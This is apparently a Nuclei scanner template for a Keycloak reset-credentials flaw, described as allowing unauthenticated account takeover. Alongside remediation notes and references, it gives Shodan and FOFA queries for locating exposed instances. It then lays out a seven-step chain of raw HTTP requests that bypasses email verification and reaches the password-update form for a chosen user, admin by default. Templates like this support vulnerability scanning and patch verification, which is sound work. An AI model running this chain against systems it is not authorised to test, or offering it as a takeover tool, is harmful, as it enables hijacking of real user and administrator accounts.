id: CVE-2026-18963 info: name: Keycloak < 26.7.2 - Unauthenticated Account Takeover via Reset-Credentials Bypass author: DhiyaneshDk severity: critical description: | Keycloak versions prior to 26.7.2, 26.6.6, and 26.4.15 contain a flaw in the reset-credentials flow that allows an unauthenticated attacker to bypass email verification and take over any user account. Two bugs are chained: (1) the tryAnotherWay handler stores a generic "true" selector note not scoped to the execution ID, and (2) ResetCredentialEmail.action() calls context.success() without verifying ACTION_TOKEN_USER_ID. impact: | An unauthenticated remote attacker can force the password reset process for any user without clicking the email verification link, resulting in full account takeover. remediation: | Upgrade to Keycloak 26.7.2, 26.6.6, or 26.4.15 which include fix PR #51844. Temporary mitigation: disable "Forgot Password" in all realms. reference: - https://nvd.nist.gov/vuln/detail/CVE-2026-18963 - https://github.com/keycloak/keycloak/pull/51844 - https://github.com/keycloak/keycloak/issues/51833 - https://github.com/T0w0T/POC-CVE-2026-18963 - https://access.redhat.com/security/cve/cve-2026-18963 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N cvss-score: 9.1 cve-id: CVE-2026-18963 epss-score: 0.03239 epss-percentile: 0.87464 cwe-id: CWE-640 metadata: verified: true max-request: 7 vendor: keycloak product: keycloak shodan-query: http.title:"Sign in to Keycloak" || http.title:"Log in to Keycloak" fofa-query: title="Sign in to Keycloak" || title="Log in to Keycloak" tags: cve,cve2026,keycloak,auth-bypass,account-takeover,critical,vkev variables: username: admin realm: master flow: | http("step-1"); http("step-2"); http("step-3"); http("step-4"); typeof restart_path !== "undefined" && restart_path !== "" && http("step-5"); http("step-6"); http("step-7"); http: - id: step-1 raw: - | GET /realms/{{realm}}/protocol/openid-connect/auth?client_id=account&response_type=code&scope=openid&redirect_uri={{BaseURL}}/realms/{{realm}}/account HTTP/1.1 Host: {{Hostname}} redirects: true max-redirects: 3 extractors: - type: regex name: forgot_path internal: true part: body group: 1 regex: - 'href="(?:https?://[^/]+)?(/[^"]*reset-credentials[^"]*)"' matchers: - type: status status: - 200 internal: true - id: step-2 raw: - | GET {{replace(forgot_path,"&","&")}} HTTP/1.1 Host: {{Hostname}} redirects: true max-redirects: 3 extractors: - type: regex name: reset_form_action internal: true part: body group: 1 regex: - 'id="kc-reset-password-form"[^>]*action="(?:https?://[^/]+)?(/[^"]*)"' matchers: - type: status status: - 200 internal: true - id: step-3 raw: - | POST {{replace(reset_form_action,"&","&")}} HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded tryAnotherWay=on redirects: true max-redirects: 3 extractors: - type: regex name: selector_form_action internal: true part: body group: 1 regex: - 'id="kc-select-credential-form"[^>]*action="(?:https?://[^/]+)?(/[^"]*)"' matchers: - type: status status: - 200 internal: true - id: step-4 raw: - | POST {{replace(selector_form_action,"&","&")}} HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded username={{username}} redirects: true max-redirects: 3 extractors: - type: regex name: restart_path internal: true part: body group: 1 regex: - '(/realms/[^\s"''<]+/login-actions/restart[^\s"''<]*skip_logout=true[^\s"''<]*)' matchers: - type: status status: - 200 - 302 internal: true - id: step-5 raw: - | GET {{restart_path}} HTTP/1.1 Host: {{Hostname}} redirects: true max-redirects: 3 matchers: - type: status status: - 200 - 302 internal: true - id: step-6 raw: - | GET {{replace(forgot_path,"&","&")}} HTTP/1.1 Host: {{Hostname}} redirects: true max-redirects: 3 extractors: - type: regex name: stale_selector_action internal: true part: body group: 1 regex: - 'id="kc-select-credential-form"[^>]*action="(?:https?://[^/]+)?(/[^"]*)"' matchers: - type: word words: - "kc-select-credential-form" part: body internal: true - id: step-7 raw: - | POST {{replace(stale_selector_action,"&","&")}} HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded username={{username}} redirects: true max-redirects: 3 matchers: - type: word words: - "kc-passwd-update-form" part: body extractors: - type: dsl dsl: - '"username=" + username + " | realm=" + realm' # digest: 4b0a00483046022100b15360d0bb3409344cfbd3bac49384f852d2d9fee7793c4ea91f6fcc757931da0221008b359a3c93b88f5f6060408cd433117041d585a5b72300d065072b9897d38a81:922c64590222798bb761d5b6d8e72950